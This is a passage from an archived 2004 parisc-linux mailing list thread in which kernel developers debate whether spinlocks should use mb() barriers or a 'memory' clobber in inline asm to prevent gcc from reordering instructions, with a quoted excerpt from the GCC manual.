spin_lock code and another mb before the spin_unlock code.  How the
taking or releasing of the lock is optimised by gcc should be irrelevant
as long as it's locked when we cross the barrier.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] coherent ops and mb() revisited
Date: Sun, 5 Sep 2004 22:19:52 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20040906041952.GA17107@colo.lackof.org>
References: <200409050627.i856RWW3027615@hiauly1.hia.nrc.ca>
	<1094395005.1690.1.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624473 25719 80.91.229.3 (22 Nov 2014 02:47:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:53 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9518 invoked by uid 65534); 6 Sep 2004 04:20:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 06 Sep 2004 06:20:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 23D863BE5F; Sun,  5 Sep 2004 22:20:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18671-06; Sun, 5 Sep 2004 22:20:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7B7B33BE49; Sun,  5 Sep 2004 22:20:02 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E4463BDF3
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Sep 2004 22:19:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 18671-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 5 Sep 2004 22:19:56 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E7F063BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Sep 2004 22:19:55 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 4B790494774; Sun,  5 Sep 2004 22:19:55 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP
	id 8A18C4946C1; Sun,  5 Sep 2004 22:19:54 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 60476298117; Sun,  5 Sep 2004 22:19:53 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16981-03; Sun, 5 Sep 2004 22:19:52 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B14BA298052; Sun,  5 Sep 2004 22:19:52 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1094395005.1690.1.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24907

On Sun, Sep 05, 2004 at 10:36:43AM -0400, James Bottomley wrote:
> On Sun, 2004-09-05 at 02:27, John David Anglin wrote:
> Actually, you're right.  I think all we need is the mb() after the
> spin_lock code and another mb before the spin_unlock code.  How the
> taking or releasing of the lock is optimised by gcc should be irrelevant
> as long as it's locked when we cross the barrier.

Actaully, I don't think it's irrelevant.  If a lock is contended for,
re-ordering by gcc could excerbate the problem by adding additional
instructions (good for the instruction pipeline) to the "critical
section" (the period we actually hold the lock).

I know, lock contention is bad and it should never happen.
Reality is some workload will contend for a lock. I want to
have some confidence gcc is not making it any worse.
This is why I'm asking about use of "memory" in the actual
asm instruction that either acquire or release the lock
instead of using mb().

thanks,
grant

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] coherent ops and mb() revisited
Date: Mon, 6 Sep 2004 05:24:44 -0400 (EDT)
Lines: 86
Approved: news@gmane.org
Message-ID: <200409060924.i869OimP003155@hiauly1.hia.nrc.ca>
References: <20040906041952.GA17107@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624473 25724 80.91.229.3 (22 Nov 2014 02:47:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:53 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 parisc-linux@parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12746 invoked by uid 65534); 6 Sep 2004 09:25:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 06 Sep 2004 11:25:27 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 499DA3BE2B; Mon,  6 Sep 2004 03:25:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22333-02; Mon, 6 Sep 2004 03:25:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 657A03BE0A; Mon,  6 Sep 2004 03:24:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E92F43BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Sep 2004 03:24:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20289-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Sep 2004 03:24:47 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id B77BF3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Sep 2004 03:24:47 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 3F2CE494785; Mon,  6 Sep 2004 03:24:47 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP
	id 87EA54946C1; Mon,  6 Sep 2004 03:24:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i869Oi45003156; Mon, 6 Sep 2004 05:24:45 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i869OimP003155;
	Mon, 6 Sep 2004 05:24:44 -0400 (EDT)
In-Reply-To: <20040906041952.GA17107@colo.lackof.org> from "Grant Grundler" at
	Sep 6, 2004 00:19:52 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24908

> Actaully, I don't think it's irrelevant.  If a lock is contended for,
> re-ordering by gcc could excerbate the problem by adding additional
> instructions (good for the instruction pipeline) to the "critical
> section" (the period we actually hold the lock).
> 
> I know, lock contention is bad and it should never happen.
> Reality is some workload will contend for a lock. I want to
> have some confidence gcc is not making it any worse.
> This is why I'm asking about use of "memory" in the actual
> asm instruction that either acquire or release the lock
> instead of using mb().

I don't have any particular insight here beyond what's in the manual:

If your assembler instructions access memory in an unpredictable
fashion, add @samp{memory} to the list of clobbered registers.  This
will cause GCC to not keep memory values cached in registers across the
assembler instruction and not optimize stores or loads to that memory.
You will also want to add the @code{volatile} keyword if the memory
affected is not listed in the inputs or outputs of the @code{asm}, as
the @samp{memory} clobber does not count as a side-effect of the
@code{asm}.  If you know how large the accessed memory is, you can add
it as input or output but if this is not known, you should add
@samp{memory}.  As an example, if you access ten bytes of a string, you
can use a memory input like:

@example
@{"m"( (@{ struct @{ char x[10]; @} *p = (void *)ptr ; *p; @}) )@}.
@end example

Note that in the following example the memory input is necessary,
otherwise GCC might optimize the store to @code{x} away:
@example
int foo ()
@{
  int x = 42;
  int *y = &x;
  int result;
  asm ("magic stuff accessing an 'int' pointed to by '%1'"
       "=&d" (r) : "a" (y), "m" (*y));
  return result;     
@}
@end example

@noindent
If you write an @code{asm} instruction with no outputs, GCC will know
the instruction has side-effects and will not delete the instruction or
move it outside of loops.

The @code{volatile} keyword indicates that the instruction has
important side-effects.  GCC will not delete a volatile @code{asm} if
it is reachable.  (The instruction can still be deleted if GCC can
prove that control-flow will never reach the location of the
instruction.)  In addition, GCC will not reschedule instructions
across a volatile @code{asm} instruction.  For example:

@smallexample
*(volatile int *)addr = foo;
asm volatile ("eieio" : : );
@end smallexample

@noindent
Assume @code{addr} contains the address of a memory mapped device
register.  The PowerPC @code{eieio} instruction (Enforce In-order
Execution of I/O) tells the CPU to make sure that the store to that
device register happens before it issues any other I/O@.

Note that even a volatile @code{asm} instruction can be moved in ways
that appear insignificant to the compiler, such as across jump
instructions.  You can't expect a sequence of volatile @code{asm}
instructions to remain perfectly consecutive.  If you want consecutive
output, use a single @code{asm}.  Also, GCC will perform some
optimizations across a volatile @code{asm} instruction; GCC does not
``forget everything'' when it encounters a volatile @code{asm}
instruction the way some other compilers do.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] coherent ops and mb() revisited
Date: 06 Sep 2004 10:15:29 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <1094480131.2037.6.camel@mulgrave>
References: <200409050627.i856RWW3027615@hiauly1.hia.nrc.ca>
	<1094395005.1690.1.camel@mulgrave>
	<20040906041952.GA17107@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624474 25728 80.91.229.3 (22 Nov 2014 02:47:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:54 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 1638 invoked by uid 65534); 6 Sep 2004 14:16:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx008) with SMTP; 06 Sep 2004 16:16:21 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 27C8F3BE2B; Mon,  6 Sep 2004 08:16:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24961-02; Mon, 6 Sep 2004 08:16:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 16CAC3BDF3; Mon,  6 Sep 2004 08:15:43 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6ABC83BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Sep 2004 08:15:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23942-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Sep 2004 08:15:35 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id B4FA23BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Sep 2004 08:15:34 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id DBE64494785; Mon,  6 Sep 2004 08:15:33 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by palinux.hppa (Postfix) with ESMTP
	id B421249475A; Mon,  6 Sep 2004 08:15:32 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	i86EFUJ14240; Mon, 6 Sep 2004 10:15:30 -0400
In-Reply-To: <20040906041952.GA17107@colo.lackof.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24909

On Mon, 2004-09-06 at 00:19, Grant Grundler wrote:
> Actaully, I don't think it's irrelevant.  If a lock is contended for,
> re-ordering by gcc could excerbate the problem by adding additional
> instructions (good for the instruction pipeline) to the "critical
> section" (the period we actually hold the lock).

But that's what placing the mb() after the spinlock code does: confines
the critical section and prevents gcc reordering around it.

> I know, lock contention is bad and it should never happen.
> Reality is some workload will contend for a lock. I want to
> have some confidence gcc is not making it any worse.
> This is why I'm asking about use of "memory" in the actual
> asm instruction that either acquire or release the lock
> instead of using mb().

You probably get slightly more confinement by using mb() instead of the
"memory" clobber in __ldcw().  But really it's insignificant.  What
appeals to me is that the barrier in the spinlocks is explicit.  If the
spinlocks were fully asm coded, like for example x86, then adding a
"memory" clobber would make sense, but they're not, they're coded in C
with a little asm help.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] coherent ops and mb() revisited
Date: Tue, 7 Sep 2004 09:17:22 -0600
Lines: 46
Approved: news@gmane.org
Message-ID: <20040907151722.GC18849@colo.lackof.org>
References: <200409050627.i856RWW3027615@hiauly1.hia.nrc.ca>
	<1094395005.1690.1.camel@mulgrave>
	<20040906041952.GA17107@colo.lackof.org>
	<1094480131.2037.6.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624474 25730 80.91.229.3 (22 Nov 2014 02:47:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:54 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22017 invoked by uid 65534); 7 Sep 2004 15:18:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx021) with SMTP; 07 Sep 2004 17:18:23 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C7ED23BE28; Tue,  7 Sep 2004 09:18:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05440-05; Tue, 7 Sep 2004 09:18:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B8C903BE0A; Tue,  7 Sep 2004 09:17:31 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 540103BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  7 Sep 2004 09:17:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05440-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 7 Sep 2004 09:17:25 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 16D5C3BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  7 Sep 2004 09:17:25 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id BAF5F49477A; Tue,  7 Sep 2004 09:17:24 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 5453849475D
	for <parisc-linux@parisc-linux.org>;
	Tue,  7 Sep 2004 09:17:24 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id ABC77298113; Tue,  7 Sep 2004 09:17:23 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19124-03; Tue, 7 Sep 2004 09:17:22 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id BB811298110; Tue,  7 Sep 2004 09:17:22 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1094480131.2037.6.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24910

On Mon, Sep 06, 2004 at 10:15:29AM -0400, James Bottomley wrote:
> On Mon, 2004-09-06 at 00:19, Grant Grundler wrote:
> > Actaully, I don't think it's irrelevant.  If a lock is contended for,
> > re-ordering by gcc could excerbate the problem by adding additional
> > instructions (good for the instruction pipeline) to the "critical
> > section" (the period we actually hold the lock).
> 
> But that's what placing the mb() after the spinlock code does: confines
> the critical section and prevents gcc reordering around it.

Maybe I'm just confused again. I was thinking gcc could move instructions
between the asm("ldcw") and mb(). And the same thing between
mb() and "lock = 1".

In other words, I'm worried about the "distance" bewteen lock/unlock
ops is greater than the "distance" between two mb() that contain
the critical section of code.

> > This is why I'm asking about use of "memory" in the actual
> > asm instruction that either acquire or release the lock
> > instead of using mb().
> 
> You probably get slightly more confinement by using mb() instead of the
> "memory" clobber in __ldcw().

Erm, how?
Our mb() definition uses asm(:::"memory").
Is that different from using "memory" in the actual bit of assembly?

I just noticed set_eiem(), mtsp() and IRQ support in our system.h
do exactly what I proposed.

> What appeals to me is that the barrier in the spinlocks is explicit.

Yes, me tool.
But I'm suggesting those are superfluous when using "memory" in
the core asm() lock operations.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] coherent ops and mb() revisited
Date: 07 Sep 2004 11:30:17 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <1094571019.2068.101.camel@mulgrave>
References: <200409050627.i856RWW3027615@hiauly1.hia.nrc.ca>
	<1094395005.1690.1.camel@mulgrave>
	<20040906041952.GA17107@colo.lackof.org>
	<1094480131.2037.6.camel@mulgrave>
	<20040907151722.GC18849@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624474 25732 80.91.229.3 (22 Nov 2014 02:47:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:54 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 32741 invoked by uid 65534); 7 Sep 2004 15:31:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx044) with SMTP; 07 Sep 2004 17:31:05 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 70D2E3BE17; Tue,  7 Sep 2004 09:30:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06007-09; Tue, 7 Sep 2004 09:30:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7FD763BE28; Tue,  7 Sep 2004 09:30:27 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B5AD3BE0A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  7 Sep 2004 09:30:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05440-08 for <parisc-linux@lists.parisc-linux.org>;
